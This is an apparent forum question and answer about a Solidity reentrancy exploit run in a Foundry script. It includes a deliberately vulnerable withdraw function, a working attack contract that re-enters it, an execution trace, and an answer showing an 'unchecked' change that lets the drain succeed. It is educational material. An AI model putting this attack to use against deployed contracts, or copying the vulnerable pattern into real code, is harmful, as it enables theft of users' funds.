Reentrancy attack: revert Transfailed

Question

I have written a reentrancy vulnerable contract and a written a script to exploit it. I have printed both contract's ether value across the whole process and it looks like it is working. However, the console logs seems reflect as script failed: revert: Transfer failed. Does this mean that the exploit worked or not?

Traces:
  [648581] → new Exploit@0x7FA9385bE102ac3EAc297483Dd6233D62b3e1496
    └─ ← [Return] 3129 bytes of code

  [509518] Exploit::run()
    ├─ [0] VM::startBroadcast()
    │   └─ ← [Return] 
    ├─ [131577] → new ReentrancyContract@0x90193C961A926261B756D1E5bb255e67ff9498A1
    │   └─ ← [Return] 657 bytes of code
    ├─ [0] VM::deal(ReentrancyContract: [0x90193C961A926261B756D1E5bb255e67ff9498A1], 5000000000000000000 [5e18])
    │   └─ ← [Return] 
    ├─ [216963] → new AttackContract@0xA8452Ec99ce0C64f20701dB7dD3abDb607c00496
    │   └─ ← [Return] 972 bytes of code
    ├─ [0] VM::deal(AttackContract: [0xA8452Ec99ce0C64f20701dB7dD3abDb607c00496], 1000000000000000000 [1e18])
    │   └─ ← [Return] 
    ├─ [0] console::log("Main contract balance: ", 5000000000000000000 [5e18]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [0] console::log("Attacker contract balance: ", 1000000000000000000 [1e18]) [staticcall]
    │   └─ ← [Stop] 
    ├─ [82899] AttackContract::attack()
    │   ├─ [0] console::log("Before deposit: ", 1000000000000000000 [1e18]) [staticcall]
    │   │   └─ ← [Stop] 
    │   ├─ [22415] ReentrancyContract::deposit{value: 1000000000000000000}()
    │   │   └─ ← [Stop] 
    │   ├─ [0] console::log("After deposit: ", 0) [staticcall]
    │   │   └─ ← [Stop] 
    │   ├─ [51298] ReentrancyContract::withdraw(1000000000000000000 [1e18])
    │   │   ├─ [43758] AttackContract::receive{value: 1000000000000000000}()
    │   │   │   ├─ [42963] ReentrancyContract::withdraw(1000000000000000000 [1e18])
    │   │   │   │   ├─ [35423] AttackContract::receive{value: 1000000000000000000}()
    │   │   │   │   │   ├─ [34628] ReentrancyContract::withdraw(1000000000000000000 [1e18])
    │   │   │   │   │   │   ├─ [27088] AttackContract::receive{value: 1000000000000000000}()
    │   │   │   │   │   │   │   ├─ [26293] ReentrancyContract::withdraw(1000000000000000000 [1e18])
    │   │   │   │   │   │   │   │   ├─ [18765] AttackContract::receive{value: 1000000000000000000}()
    │   │   │   │   │   │   │   │   │   ├─ [17976] ReentrancyContract::withdraw(1000000000000000000 [1e18])
    │   │   │   │   │   │   │   │   │   │   ├─ [10363] AttackContract::receive{value: 1000000000000000000}()
    │   │   │   │   │   │   │   │   │   │   │   ├─ [9595] ReentrancyContract::withdraw(1000000000000000000 [1e18])
    │   │   │   │   │   │   │   │   │   │   │   │   ├─ [1884] AttackContract::receive{value: 1000000000000000000}()
    │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [0] console::log("Main contract balance: ", 0) [staticcall]
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   │   │   │   │   │   │   │   │   ├─ [0] console::log("Attacker contract balance: ", 6000000000000000000 [6e18]) [staticcall]
    │   │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   │   │   │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   │   │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   │   │   │   │   │   │   └─ ← [Stop] 
    │   │   │   │   │   │   │   │   │   │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    │   │   │   │   │   │   │   │   │   └─ ← [Revert] panic: arithmetic underflow or overflow (0x11)
    │   │   │   │   │   │   │   │   └─ ← [Revert] revert: Transfer failed
    │   │   │   │   │   │   │   └─ ← [Revert] revert: Transfer failed
    │   │   │   │   │   │   └─ ← [Revert] revert: Transfer failed
    │   │   │   │   │   └─ ← [Revert] revert: Transfer failed
    │   │   │   │   └─ ← [Revert] revert: Transfer failed
    │   │   │   └─ ← [Revert] revert: Transfer failed
    │   │   └─ ← [Revert] revert: Transfer failed
    │   └─ ← [Revert] revert: Transfer failed
    └─ ← [Revert] revert: Transfer failed


Gas used: 530582

== Logs ==
  Main contract balance:  5000000000000000000
  Attacker contract balance:  1000000000000000000
  Before deposit:  1000000000000000000
  After deposit:  0
  Main contract balance:  0
  Attacker contract balance:  6000000000000000000
Error: 
script failed: revert: Transfer failed

---

Reentrancy contract

contract ReentrancyContract {
    mapping(address => uint256) public balances;

    function deposit() public payable {
        balances[msg.sender] += msg.value;
    }

    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
        balances[msg.sender] -= _amount;
    }

    fallback() external payable {}
}

---

Exploit script

contract Exploit is Script {
    ReentrancyContract public reentrancyContract;
    function run() public {
        vm.startBroadcast();

        reentrancyContract = new ReentrancyContract();
        // We first give 5 ether to the reentrancy contract
        vm.deal(address(reentrancyContract), 5 ether);

        //Create attacker contract and give it 1 ether for deposit
        AttackContract attackContract = new AttackContract(reentrancyContract);
        vm.deal(address(attackContract), 1 ether);

        //Print out to ensure there is 5 ether in the contract and 1 in attacker contract
        console.log("Main contract balance: ", address(reentrancyContract).balance);
        console.log("Attacker contract balance: ", address(attackContract).balance);

        //Call the Attack contract and deposit 1 ether, then withdraw
        attackContract.attack();

        vm.stopBroadcast();
    }

}

contract AttackContract {
    ReentrancyContract public reentrancyContract;
    constructor(ReentrancyContract cont) payable {
        reentrancyContract = cont;
    }

    function attack() public {
        console.log("Before deposit: ", address(this).balance);
        //Deposit 1 ether, then start reentrance withdraw
        reentrancyContract.deposit{value: 1 ether}();
        console.log("After deposit: ", address(this).balance);
        reentrancyContract.withdraw(1 ether);
    }

    // The ether receiving contract. We use to to call back the reentrancy contract again.
    receive() external payable {
        if(address(reentrancyContract).balance >= 1 ether){
            reentrancyContract.withdraw(1 ether);
        } else {
            console.log("Main contract balance: ", address(reentrancyContract).balance);
            console.log("Attacker contract balance: ", address(this).balance);
        }
    }
}

Answer 1

The exploit didn't work. You are able to do balances[msg.sender] -= _amount multiple times, the problem is that it underflows. You can change the withdraw function like this to make it work:

    function withdraw(uint256 _amount) public {
        require(balances[msg.sender] >= _amount, "Insufficient balance");
        (bool success, ) = msg.sender.call{value: _amount}("");
        require(success, "Transfer failed");
        unchecked {
            balances[msg.sender] -= _amount;
        }
    }